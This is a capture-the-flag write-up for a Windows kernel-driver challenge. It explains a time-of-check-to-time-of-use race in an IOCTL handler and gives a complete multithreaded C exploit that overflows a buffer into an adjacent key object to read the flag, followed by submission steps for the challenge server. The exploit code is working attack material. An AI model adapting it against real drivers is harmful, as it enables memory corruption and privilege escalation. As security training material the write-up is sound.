WinCapture

Binary Exploitation (pwn)

Idea

This challenge exploits a race condition in a Windows kernel driver called WinCapture.sys. The driver has a bug where it checks a value, then later reads it again without re-checking - allowing an attacker to change it between the two reads.

> The driver's COMMIT function does this:
>
> 1. Reads the slot size from memory
> 2. Checks if it fits in the buffer
> 3. Pauses briefly
> 4. Reads the size AGAIN without checking it again
> 5. Copies that many bytes

Running the Exploit

Compile exploit.c to Windows x64:

```
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define IOCTL_SET_SLOT   0xC2002000
#define IOCTL_ALLOC_BUF  0xC2002004
#define IOCTL_ALLOC_KEY  0xC2002008
#define IOCTL_COMMIT     0xC200200C
#define IOCTL_GET_FLAG   0xC2002010

#define MAGIC            0x4b455901u
#define BUF_SIZE         16u
```

```
#define BIG_SIZE         24u
#define NUM_SETTERS      6
#define NUM_COMMITTERS   12

static volatile LONG g_stop = 0;
static volatile LONG g_won = 0;
static char g_flag[160];

static unsigned char g_slot_small[0x1008];
static unsigned char g_slot_big[0x1008];

static HANDLE open_pipe(void) {
    for (;;) {
        HANDLE h = CreateFileA(
            "\\\\.\\pipe\\WinCapture",
            GENERIC_READ | GENERIC_WRITE,
            0, NULL, OPEN_EXISTING, 0, NULL);
        if (h != INVALID_HANDLE_VALUE)
            return h;
        if (GetLastError() != ERROR_PIPE_BUSY)
            return INVALID_HANDLE_VALUE;
        WaitNamedPipeA("\\\\.\\pipe\\WinCapture", 100);
    }
}

static int do_ioctl(HANDLE h, DWORD ioctl, const void *in, DWORD
in_len,
                    void *out, DWORD out_cap, DWORD *out_len, DWORD
*status) {
    unsigned char req[8 + 0x1100];
    if (in_len > 0x1100)
        return -1;

    memcpy(req + 0, &ioctl, 4);
    memcpy(req + 4, &in_len, 4);
    if (in_len && in)
        memcpy(req + 8, in, in_len);

    DWORD written = 0;
    if (!WriteFile(h, req, 8 + in_len, &written, NULL))
        return -1;
```

```
    unsigned char resp[16 + 0x100];
    DWORD rd = 0;
    if (!ReadFile(h, resp, sizeof(resp), &rd, NULL) || rd < 8)
        return -1;

    memcpy(status, resp, 4);
    DWORD ol = 0;
    memcpy(&ol, resp + 4, 4);
    if (out_len)
        *out_len = ol;
    if (out && out_cap && rd > 8) {
        DWORD c = rd - 8;
        if (c > out_cap)
            c = out_cap;
        memcpy(out, resp + 8, c);
    }
    return 0;
}

static void init_slots(void) {
    memset(g_slot_small, 'A', sizeof(g_slot_small));
    memset(g_slot_big, 'A', sizeof(g_slot_big));

    *(DWORD *)(g_slot_small + 0) = 0;
    *(DWORD *)(g_slot_small + 4) = BUF_SIZE;

    *(DWORD *)(g_slot_big + 0) = 0;
    *(DWORD *)(g_slot_big + 4) = BIG_SIZE;

    /* [capture 16][key 16]: overflow preserves magic, sets key+4
*/
    *(DWORD *)(g_slot_big + 8 + 16) = MAGIC;
    *(DWORD *)(g_slot_big + 8 + 20) = 1;
}

static DWORD WINAPI setter_thread(LPVOID param) {
    HANDLE h = (HANDLE)param;
    DWORD st, ol;
    unsigned char out[8];

    while (!g_stop && !g_won) {
        if (do_ioctl(h, IOCTL_SET_SLOT, g_slot_small, 0x1008, out,
```

```
sizeof(out), &ol, &st) < 0)
            break;
        if (do_ioctl(h, IOCTL_SET_SLOT, g_slot_big, 0x1008, out,
sizeof(out), &ol, &st) < 0)
            break;
    }
    return 0;
}

static DWORD WINAPI commit_thread(LPVOID param) {
    HANDLE h = (HANDLE)param;
    DWORD st, ol;
    DWORD idx = 0;
    unsigned char out[8];

    while (!g_stop && !g_won) {
        if (do_ioctl(h, IOCTL_COMMIT, &idx, 4, out, sizeof(out),
&ol, &st) < 0)
            break;
    }
    return 0;
}

static DWORD WINAPI flag_thread(LPVOID param) {
    HANDLE h = (HANDLE)param;
    char buf[160];
    DWORD st, ol;

    while (!g_stop && !g_won) {
        memset(buf, 0, sizeof(buf));
        if (do_ioctl(h, IOCTL_GET_FLAG, buf, 128, buf, sizeof(buf),
&ol, &st) == 0) {
            if (st == 0 && buf[0] == 'C' && buf[1] == 'T' && buf[2]
== 'F') {
                memcpy(g_flag, buf, sizeof(g_flag));
                InterlockedExchange(&g_won, 1);
                InterlockedExchange(&g_stop, 1);
                break;
            }
        } else {
            break;
        }
```

```
    }
    return 0;
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] WinCapture TOCTOU race exploit\n");
    printf("[*] IOCTL_COMMIT re-reads slot size after the bounds
check\n");

    init_slots();

    HANDLE h_setup = open_pipe();
    if (h_setup == INVALID_HANDLE_VALUE) {
        printf("[-] open pipe failed: %lu\n", GetLastError());
        return 1;
    }

    DWORD st = 0, ol = 0;
    unsigned char tmp[8];
    DWORD size = BUF_SIZE;

    if (do_ioctl(h_setup, IOCTL_ALLOC_BUF, &size, 4, tmp,
sizeof(tmp), &ol, &st) < 0 || st) {
        printf("[-] ALLOC_BUF failed: %08lx\n", st);
        return 1;
    }
    if (do_ioctl(h_setup, IOCTL_ALLOC_KEY, NULL, 0, tmp,
sizeof(tmp), &ol, &st) < 0 || st) {
        printf("[-] ALLOC_KEY failed: %08lx\n", st);
        return 1;
    }
    if (do_ioctl(h_setup, IOCTL_SET_SLOT, g_slot_small, 0x1008,
tmp, sizeof(tmp), &ol, &st) < 0 || st) {
        printf("[-] SET_SLOT failed: %08lx\n", st);
        return 1;
    }
    printf("[*] setup ok: buf=%u then key object (adjacent)\n",
BUF_SIZE);

    HANDLE threads[NUM_SETTERS + NUM_COMMITTERS + 1];
    HANDLE pipes[NUM_SETTERS + NUM_COMMITTERS + 1];
```

```
    int nt = 0;

    for (int i = 0; i < NUM_SETTERS; i++) {
        pipes[nt] = open_pipe();
        if (pipes[nt] == INVALID_HANDLE_VALUE)
            return 1;
        threads[nt] = CreateThread(NULL, 0, setter_thread,
pipes[nt], 0, NULL);
        nt++;
    }
    for (int i = 0; i < NUM_COMMITTERS; i++) {
        pipes[nt] = open_pipe();
        if (pipes[nt] == INVALID_HANDLE_VALUE)
            return 1;
        threads[nt] = CreateThread(NULL, 0, commit_thread,
pipes[nt], 0, NULL);
        nt++;
    }
    pipes[nt] = open_pipe();
    if (pipes[nt] == INVALID_HANDLE_VALUE)
        return 1;
    threads[nt] = CreateThread(NULL, 0, flag_thread, pipes[nt], 0,
NULL);
    nt++;

    printf("[*] racing...\n");

    DWORD start = GetTickCount();
    while (!g_won && GetTickCount() - start < 120000)
        Sleep(10);

    InterlockedExchange(&g_stop, 1);
    WaitForMultipleObjects(nt, threads, TRUE, 3000);

    if (g_won) {
        printf("[+] corrupted key object via TOCTOU overflow\n");
        printf("[+] FLAG: %s\n", g_flag);
        puts(g_flag);
    } else {
        printf("[-] failed to win race in time\n");
    }
```

```
    for (int i = 0; i < nt; i++) {
        CloseHandle(threads[i]);
        CloseHandle(pipes[i]);
    }
    CloseHandle(h_setup);
    return g_won ? 0 : 1;
}
```

Open a connection:

```
ncat --ssl wincapture-d489d7e6fec2.inst.omnictf.com 1337
```

Paste the base64 of the binary.
And type **END**.

(Solved by Bogdan after and some random Asian guy on YouTube that help him learn C)